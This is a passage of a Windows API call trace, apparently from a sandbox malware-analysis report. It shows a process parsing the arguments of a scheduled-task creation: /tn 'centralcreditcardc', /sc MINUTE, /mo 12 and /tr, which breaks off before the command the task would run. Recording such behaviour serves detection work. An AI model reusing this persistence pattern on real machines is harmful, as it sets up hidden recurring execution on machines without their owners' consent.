_ArgList=0x13c4c8 | out: _Buffer="|tn|") returned 4 [0080.939] lstrlenW (lpString="|u|") returned 3 [0080.939] lstrlenW (lpString="|tn|") returned 4 [0080.939] SetLastError (dwErrCode=0x490) [0080.939] lstrlenW (lpString="p") returned 1 [0080.939] lstrlenW (lpString="p") returned 1 [0080.939] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.939] lstrlenW (lpString="tn") returned 2 [0080.939] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.939] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|p|") returned 3 [0080.939] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|tn|") returned 4 [0080.939] lstrlenW (lpString="|p|") returned 3 [0080.939] lstrlenW (lpString="|tn|") returned 4 [0080.939] SetLastError (dwErrCode=0x490) [0080.939] lstrlenW (lpString="ru") returned 2 [0080.939] lstrlenW (lpString="ru") returned 2 [0080.939] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.939] lstrlenW (lpString="tn") returned 2 [0080.939] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.939] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|ru|") returned 4 [0080.939] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|tn|") returned 4 [0080.939] lstrlenW (lpString="|ru|") returned 4 [0080.939] lstrlenW (lpString="|tn|") returned 4 [0080.939] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0080.939] SetLastError (dwErrCode=0x490) [0080.939] lstrlenW (lpString="rp") returned 2 [0080.939] lstrlenW (lpString="rp") returned 2 [0080.939] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.939] lstrlenW (lpString="tn") returned 2 [0080.939] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.939] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|rp|") returned 4 [0080.939] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|tn|") returned 4 [0080.939] lstrlenW (lpString="|rp|") returned 4 [0080.939] lstrlenW (lpString="|tn|") returned 4 [0080.940] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0080.940] SetLastError (dwErrCode=0x490) [0080.940] lstrlenW (lpString="sc") returned 2 [0080.940] lstrlenW (lpString="sc") returned 2 [0080.940] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.940] lstrlenW (lpString="tn") returned 2 [0080.940] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.940] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|sc|") returned 4 [0080.940] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|tn|") returned 4 [0080.940] lstrlenW (lpString="|sc|") returned 4 [0080.940] lstrlenW (lpString="|tn|") returned 4 [0080.940] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0080.940] SetLastError (dwErrCode=0x490) [0080.940] lstrlenW (lpString="mo") returned 2 [0080.940] lstrlenW (lpString="mo") returned 2 [0080.940] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.940] lstrlenW (lpString="tn") returned 2 [0080.940] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.940] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|mo|") returned 4 [0080.940] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|tn|") returned 4 [0080.940] lstrlenW (lpString="|mo|") returned 4 [0080.940] lstrlenW (lpString="|tn|") returned 4 [0080.940] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0080.940] SetLastError (dwErrCode=0x490) [0080.940] lstrlenW (lpString="d") returned 1 [0080.940] lstrlenW (lpString="d") returned 1 [0080.940] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.940] lstrlenW (lpString="tn") returned 2 [0080.940] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.940] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|d|") returned 3 [0080.941] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|tn|") returned 4 [0080.941] lstrlenW (lpString="|d|") returned 3 [0080.941] lstrlenW (lpString="|tn|") returned 4 [0080.941] SetLastError (dwErrCode=0x490) [0080.941] lstrlenW (lpString="m") returned 1 [0080.941] lstrlenW (lpString="m") returned 1 [0080.941] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.941] lstrlenW (lpString="tn") returned 2 [0080.941] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.941] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|m|") returned 3 [0080.941] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|tn|") returned 4 [0080.941] lstrlenW (lpString="|m|") returned 3 [0080.941] lstrlenW (lpString="|tn|") returned 4 [0080.941] SetLastError (dwErrCode=0x490) [0080.941] lstrlenW (lpString="i") returned 1 [0080.941] lstrlenW (lpString="i") returned 1 [0080.941] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.941] lstrlenW (lpString="tn") returned 2 [0080.941] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.941] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|i|") returned 3 [0080.941] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|tn|") returned 4 [0080.941] lstrlenW (lpString="|i|") returned 3 [0080.941] lstrlenW (lpString="|tn|") returned 4 [0080.941] SetLastError (dwErrCode=0x490) [0080.941] lstrlenW (lpString="tn") returned 2 [0080.941] lstrlenW (lpString="tn") returned 2 [0080.941] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.941] lstrlenW (lpString="tn") returned 2 [0080.941] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.941] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|tn|") returned 4 [0080.941] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|tn|") returned 4 [0080.941] lstrlenW (lpString="|tn|") returned 4 [0080.941] lstrlenW (lpString="|tn|") returned 4 [0080.941] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0080.942] SetLastError (dwErrCode=0x0) [0080.942] SetLastError (dwErrCode=0x0) [0080.942] lstrlenW (lpString="centralcreditcardc") returned 18 [0080.942] lstrlenW (lpString="-/") returned 2 [0080.942] StrChrIW (lpStart="-/", wMatch=0x63) returned 0x0 [0080.942] SetLastError (dwErrCode=0x490) [0080.942] SetLastError (dwErrCode=0x490) [0080.942] SetLastError (dwErrCode=0x0) [0080.942] lstrlenW (lpString="centralcreditcardc") returned 18 [0080.942] StrChrIW (lpStart="centralcreditcardc", wMatch=0x3a) returned 0x0 [0080.942] SetLastError (dwErrCode=0x490) [0080.942] SetLastError (dwErrCode=0x0) [0080.942] lstrlenW (lpString="centralcreditcardc") returned 18 [0080.942] SetLastError (dwErrCode=0x0) [0080.942] SetLastError (dwErrCode=0x0) [0080.942] lstrlenW (lpString="/sc") returned 3 [0080.942] lstrlenW (lpString="-/") returned 2 [0080.942] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0080.942] lstrlenW (lpString="create") returned 6 [0080.942] lstrlenW (lpString="create") returned 6 [0080.942] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.942] lstrlenW (lpString="sc") returned 2 [0080.942] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.942] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|create|") returned 8 [0080.942] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|sc|") returned 4 [0080.942] lstrlenW (lpString="|create|") returned 8 [0080.942] lstrlenW (lpString="|sc|") returned 4 [0080.942] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0080.942] SetLastError (dwErrCode=0x490) [0080.942] lstrlenW (lpString="?") returned 1 [0080.942] lstrlenW (lpString="?") returned 1 [0080.942] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.942] lstrlenW (lpString="sc") returned 2 [0080.942] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.942] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|?|") returned 3 [0080.943] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|sc|") returned 4 [0080.943] lstrlenW (lpString="|?|") returned 3 [0080.943] lstrlenW (lpString="|sc|") returned 4 [0080.943] SetLastError (dwErrCode=0x490) [0080.943] lstrlenW (lpString="s") returned 1 [0080.943] lstrlenW (lpString="s") returned 1 [0080.943] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.943] lstrlenW (lpString="sc") returned 2 [0080.943] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.943] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|s|") returned 3 [0080.943] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|sc|") returned 4 [0080.943] lstrlenW (lpString="|s|") returned 3 [0080.943] lstrlenW (lpString="|sc|") returned 4 [0080.943] SetLastError (dwErrCode=0x490) [0080.943] lstrlenW (lpString="u") returned 1 [0080.943] lstrlenW (lpString="u") returned 1 [0080.943] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.943] lstrlenW (lpString="sc") returned 2 [0080.943] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.943] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|u|") returned 3 [0080.943] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|sc|") returned 4 [0080.943] lstrlenW (lpString="|u|") returned 3 [0080.943] lstrlenW (lpString="|sc|") returned 4 [0080.943] SetLastError (dwErrCode=0x490) [0080.943] lstrlenW (lpString="p") returned 1 [0080.943] lstrlenW (lpString="p") returned 1 [0080.943] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.943] lstrlenW (lpString="sc") returned 2 [0080.943] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.943] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|p|") returned 3 [0080.943] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|sc|") returned 4 [0080.943] lstrlenW (lpString="|p|") returned 3 [0080.943] lstrlenW (lpString="|sc|") returned 4 [0080.944] SetLastError (dwErrCode=0x490) [0080.944] lstrlenW (lpString="ru") returned 2 [0080.944] lstrlenW (lpString="ru") returned 2 [0080.944] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.944] lstrlenW (lpString="sc") returned 2 [0080.944] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.944] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|ru|") returned 4 [0080.944] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|sc|") returned 4 [0080.944] lstrlenW (lpString="|ru|") returned 4 [0080.944] lstrlenW (lpString="|sc|") returned 4 [0080.944] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0080.944] SetLastError (dwErrCode=0x490) [0080.944] lstrlenW (lpString="rp") returned 2 [0080.944] lstrlenW (lpString="rp") returned 2 [0080.944] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.944] lstrlenW (lpString="sc") returned 2 [0080.944] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.944] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|rp|") returned 4 [0080.944] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|sc|") returned 4 [0080.944] lstrlenW (lpString="|rp|") returned 4 [0080.944] lstrlenW (lpString="|sc|") returned 4 [0080.944] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0080.944] SetLastError (dwErrCode=0x490) [0080.944] lstrlenW (lpString="sc") returned 2 [0080.944] lstrlenW (lpString="sc") returned 2 [0080.944] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.944] lstrlenW (lpString="sc") returned 2 [0080.944] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.944] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|sc|") returned 4 [0080.944] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|sc|") returned 4 [0080.944] lstrlenW (lpString="|sc|") returned 4 [0080.944] lstrlenW (lpString="|sc|") returned 4 [0080.944] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0080.945] SetLastError (dwErrCode=0x0) [0080.945] SetLastError (dwErrCode=0x0) [0080.945] lstrlenW (lpString="MINUTE") returned 6 [0080.945] lstrlenW (lpString="-/") returned 2 [0080.945] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0080.945] SetLastError (dwErrCode=0x490) [0080.945] SetLastError (dwErrCode=0x490) [0080.945] SetLastError (dwErrCode=0x0) [0080.945] lstrlenW (lpString="MINUTE") returned 6 [0080.945] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0080.945] SetLastError (dwErrCode=0x490) [0080.945] SetLastError (dwErrCode=0x0) [0080.945] GetProcessHeap () returned 0x260000 [0080.945] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x18) returned 0x27d700 [0080.945] _memicmp (_Buf1=0x27d700, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.945] lstrlenW (lpString="MINUTE") returned 6 [0080.945] GetProcessHeap () returned 0x260000 [0080.945] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0xe) returned 0x27d720 [0080.945] lstrlenW (lpString="MINUTE") returned 6 [0080.945] lstrlenW (lpString=" \x09") returned 2 [0080.945] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0080.945] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0080.945] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0080.945] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0080.945] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0080.946] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0080.946] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0080.946] GetLastError () returned 0x0 [0080.946] lstrlenW (lpString="MINUTE") returned 6 [0080.946] lstrlenW (lpString="MINUTE") returned 6 [0080.946] SetLastError (dwErrCode=0x0) [0080.946] SetLastError (dwErrCode=0x0) [0080.946] lstrlenW (lpString="/mo") returned 3 [0080.946] lstrlenW (lpString="-/") returned 2 [0080.946] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0080.946] lstrlenW (lpString="create") returned 6 [0080.946] lstrlenW (lpString="create") returned 6 [0080.946] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.946] lstrlenW (lpString="mo") returned 2 [0080.946] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.946] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|create|") returned 8 [0080.946] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|mo|") returned 4 [0080.946] lstrlenW (lpString="|create|") returned 8 [0080.946] lstrlenW (lpString="|mo|") returned 4 [0080.971] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0080.971] SetLastError (dwErrCode=0x490) [0080.971] lstrlenW (lpString="?") returned 1 [0080.971] lstrlenW (lpString="?") returned 1 [0080.971] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.971] lstrlenW (lpString="mo") returned 2 [0080.972] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.972] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|?|") returned 3 [0080.972] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|mo|") returned 4 [0080.972] lstrlenW (lpString="|?|") returned 3 [0080.972] lstrlenW (lpString="|mo|") returned 4 [0080.972] SetLastError (dwErrCode=0x490) [0080.972] lstrlenW (lpString="s") returned 1 [0080.972] lstrlenW (lpString="s") returned 1 [0080.972] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.972] lstrlenW (lpString="mo") returned 2 [0080.972] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.972] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|s|") returned 3 [0080.972] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|mo|") returned 4 [0080.972] lstrlenW (lpString="|s|") returned 3 [0080.972] lstrlenW (lpString="|mo|") returned 4 [0080.972] SetLastError (dwErrCode=0x490) [0080.972] lstrlenW (lpString="u") returned 1 [0080.972] lstrlenW (lpString="u") returned 1 [0080.972] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.972] lstrlenW (lpString="mo") returned 2 [0080.972] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.972] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|u|") returned 3 [0080.972] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|mo|") returned 4 [0080.972] lstrlenW (lpString="|u|") returned 3 [0080.972] lstrlenW (lpString="|mo|") returned 4 [0080.972] SetLastError (dwErrCode=0x490) [0080.972] lstrlenW (lpString="p") returned 1 [0080.972] lstrlenW (lpString="p") returned 1 [0080.972] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.972] lstrlenW (lpString="mo") returned 2 [0080.972] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.973] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|p|") returned 3 [0080.973] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|mo|") returned 4 [0080.973] lstrlenW (lpString="|p|") returned 3 [0080.973] lstrlenW (lpString="|mo|") returned 4 [0080.973] SetLastError (dwErrCode=0x490) [0080.973] lstrlenW (lpString="ru") returned 2 [0080.973] lstrlenW (lpString="ru") returned 2 [0080.973] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.973] lstrlenW (lpString="mo") returned 2 [0080.973] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.973] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|ru|") returned 4 [0080.973] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|mo|") returned 4 [0080.973] lstrlenW (lpString="|ru|") returned 4 [0080.973] lstrlenW (lpString="|mo|") returned 4 [0080.973] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0080.973] SetLastError (dwErrCode=0x490) [0080.973] lstrlenW (lpString="rp") returned 2 [0080.973] lstrlenW (lpString="rp") returned 2 [0080.973] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.973] lstrlenW (lpString="mo") returned 2 [0080.973] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.973] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|rp|") returned 4 [0080.973] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|mo|") returned 4 [0080.973] lstrlenW (lpString="|rp|") returned 4 [0080.973] lstrlenW (lpString="|mo|") returned 4 [0080.973] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0080.973] SetLastError (dwErrCode=0x490) [0080.973] lstrlenW (lpString="sc") returned 2 [0080.973] lstrlenW (lpString="sc") returned 2 [0080.973] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.973] lstrlenW (lpString="mo") returned 2 [0080.973] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.974] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|sc|") returned 4 [0080.974] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|mo|") returned 4 [0080.974] lstrlenW (lpString="|sc|") returned 4 [0080.974] lstrlenW (lpString="|mo|") returned 4 [0080.974] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0080.974] SetLastError (dwErrCode=0x490) [0080.974] lstrlenW (lpString="mo") returned 2 [0080.974] lstrlenW (lpString="mo") returned 2 [0080.974] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.974] lstrlenW (lpString="mo") returned 2 [0080.974] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.974] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|mo|") returned 4 [0080.974] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|mo|") returned 4 [0080.974] lstrlenW (lpString="|mo|") returned 4 [0080.974] lstrlenW (lpString="|mo|") returned 4 [0080.974] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0080.974] SetLastError (dwErrCode=0x0) [0080.974] SetLastError (dwErrCode=0x0) [0080.974] lstrlenW (lpString="12") returned 2 [0080.974] lstrlenW (lpString="-/") returned 2 [0080.974] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0080.974] SetLastError (dwErrCode=0x490) [0080.974] SetLastError (dwErrCode=0x490) [0080.974] SetLastError (dwErrCode=0x0) [0080.974] lstrlenW (lpString="12") returned 2 [0080.974] StrChrIW (lpStart="12", wMatch=0x3a) returned 0x0 [0080.974] SetLastError (dwErrCode=0x490) [0080.974] SetLastError (dwErrCode=0x0) [0080.974] _memicmp (_Buf1=0x27d700, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.974] lstrlenW (lpString="12") returned 2 [0080.974] lstrlenW (lpString="12") returned 2 [0080.974] lstrlenW (lpString=" \x09") returned 2 [0080.974] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0080.974] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0080.974] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0080.975] GetLastError () returned 0x0 [0080.975] lstrlenW (lpString="12") returned 2 [0080.975] lstrlenW (lpString="12") returned 2 [0080.975] GetProcessHeap () returned 0x260000 [0080.975] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x6) returned 0x2755d0 [0080.975] SetLastError (dwErrCode=0x0) [0080.975] SetLastError (dwErrCode=0x0) [0080.975] lstrlenW (lpString="/tr") returned 3 [0080.975] lstrlenW (lpString="-/") returned 2 [0080.975] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0080.975] lstrlenW (lpString="create") returned 6 [0080.975] lstrlenW (lpString="create") returned 6 [0080.975] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.975] lstrlenW (lpString="tr") returned 2 [0080.975] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.975] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|create|") returned 8 [0080.975] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|tr|") returned 4 [0080.975] lstrlenW (lpString="|create|") returned 8 [0080.975] lstrlenW (lpString="|tr|") returned 4 [0080.975] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0080.975] SetLastError (dwErrCode=0x490) [0080.975] lstrlenW (lpString="?") returned 1 [0080.975] lstrlenW (lpString="?") returned 1 [0080.975] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.975] lstrlenW (lpString="tr") returned 2 [0080.975] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.975] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|?|") returned 3 [0080.975] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|tr|") returned 4 [0080.975] lstrlenW (lpString="|?|") returned 3 [0080.975] lstrlenW (lpString="|tr|") returned 4 [0080.975] SetLastError (dwErrCode=0x490) [0080.975] lstrlenW (lpString="s") returned 1 [0080.975] lstrlenW (lpString="s") returned 1 [0080.975] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.976] lstrlenW (lpString="tr") returned 2 [0080.976] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.976] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", 